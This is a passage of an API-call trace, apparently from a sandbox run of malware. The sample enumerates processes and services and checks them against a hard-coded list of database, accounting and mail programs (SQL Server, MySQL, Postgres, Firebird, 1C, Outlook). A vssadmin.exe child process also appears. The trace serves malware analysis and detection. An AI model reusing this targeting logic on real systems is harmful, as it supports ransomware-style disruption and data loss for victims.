lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.454] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0213.454] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0213.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0213.454] lstrlenW (lpString="Spooler") returned 7 [0213.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0213.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0213.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0213.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0213.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0213.455] lstrlenW (lpString="Themes") returned 6 [0213.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0213.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0213.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0213.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0213.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0213.456] lstrlenW (lpString="UxSms") returned 5 [0213.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0213.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0213.456] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0213.456] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0213.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0213.456] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4229ce8 | out: hHeap=0x880000) returned 1 [0213.456] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0213.465] Process32FirstW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.466] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.467] lstrlenW (lpString="System") returned 6 [0213.467] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0213.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0213.467] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0213.467] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0213.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0213.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0213.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0213.568] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.571] lstrlenW (lpString="smss.exe") returned 8 [0213.571] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0213.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0213.571] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.574] lstrlenW (lpString="csrss.exe") returned 9 [0213.574] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0213.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0213.574] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0213.575] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0213.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0213.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0213.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0213.575] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.576] lstrlenW (lpString="wininit.exe") returned 11 [0213.576] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0213.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0213.576] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0213.576] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0213.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0213.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0213.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0213.577] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.578] lstrlenW (lpString="csrss.exe") returned 9 [0213.578] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0213.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0213.578] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0213.578] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0213.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0213.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0213.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0213.578] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.579] lstrlenW (lpString="winlogon.exe") returned 12 [0213.579] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0213.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0213.580] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.583] lstrlenW (lpString="services.exe") returned 12 [0213.583] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0213.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0213.583] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.586] lstrlenW (lpString="lsass.exe") returned 9 [0213.586] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0213.586] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0213.586] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0213.586] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0213.586] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0213.587] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0213.587] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0213.587] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0213.588] lstrlenW (lpString="lsm.exe") returned 7 [0213.588] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0213.588] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0213.588] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0213.588] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0213.589] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0213.589] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0213.589] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0213.589] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.592] lstrlenW (lpString="svchost.exe") returned 11 [0213.592] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.592] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.592] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.593] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.594] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.596] lstrlenW (lpString="svchost.exe") returned 11 [0213.596] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.596] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.596] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.597] lstrlenW (lpString="svchost.exe") returned 11 [0213.597] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.598] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.598] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.600] lstrlenW (lpString="svchost.exe") returned 11 [0213.601] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.601] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.601] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.601] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.602] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.602] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.602] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.602] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.604] lstrlenW (lpString="svchost.exe") returned 11 [0213.604] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.604] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.605] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.605] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.605] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.605] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.605] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.605] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.607] lstrlenW (lpString="audiodg.exe") returned 11 [0213.607] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0213.607] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0213.607] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0213.607] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0213.607] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0213.607] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0213.607] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0213.607] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.609] lstrlenW (lpString="svchost.exe") returned 11 [0213.609] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0213.609] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0213.609] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0213.730] lstrlenW (lpString="userinit.exe") returned 12 [0213.738] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0213.758] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0213.758] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.759] lstrlenW (lpString="explorer.exe") returned 12 [0213.759] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.761] lstrlenW (lpString="dwm.exe") returned 7 [0213.761] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.762] lstrlenW (lpString="svchost.exe") returned 11 [0213.762] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0213.765] lstrlenW (lpString="driver.exe") returned 10 [0213.765] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.768] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.768] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.769] lstrlenW (lpString="taskhost.exe") returned 12 [0213.769] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.770] lstrlenW (lpString="svchost.exe") returned 11 [0213.770] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0213.772] lstrlenW (lpString="dllhost.exe") returned 11 [0213.772] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.774] lstrlenW (lpString="cmd.exe") returned 7 [0213.774] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0213.775] lstrlenW (lpString="reader_sl.exe") returned 13 [0213.776] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.778] lstrlenW (lpString="conhost.exe") returned 11 [0213.778] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.779] lstrlenW (lpString="vssadmin.exe") returned 12 [0213.780] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0213.781] CloseHandle (hObject=0x338) returned 1 [0213.781] Sleep (dwMilliseconds=0x1f4) [0214.914] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3130 [0215.225] EnumServicesStatusExW (in: hSCManager=0x41c3130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0215.714] GetLastError () returned 0xea [0215.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xacc) returned 0x423e070 [0215.714] EnumServicesStatusExW (in: hSCManager=0x41c3130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x423e070, cbBufSize=0xacc, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x423e070, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0215.716] CloseServiceHandle (hSCObject=0x41c3130) returned 1 [0215.718] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0215.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0215.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0215.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0215.718] lstrlenW (lpString="AudioSrv") returned 8 [0215.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0215.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0215.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0215.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0215.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0215.719] lstrlenW (lpString="BFE") returned 3 [0215.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0215.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0215.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0215.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0215.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0215.720] lstrlenW (lpString="CscService") returned 10 [0215.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0215.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0215.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0215.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0215.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0215.720] lstrlenW (lpString="DcomLaunch") returned 10 [0215.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0215.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0215.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0215.722] lstrlenW (lpString="Dhcp") returned 4 [0215.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0215.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0215.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0215.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0215.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0215.722] lstrlenW (lpString="Dnscache") returned 8 [0215.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0215.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0215.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 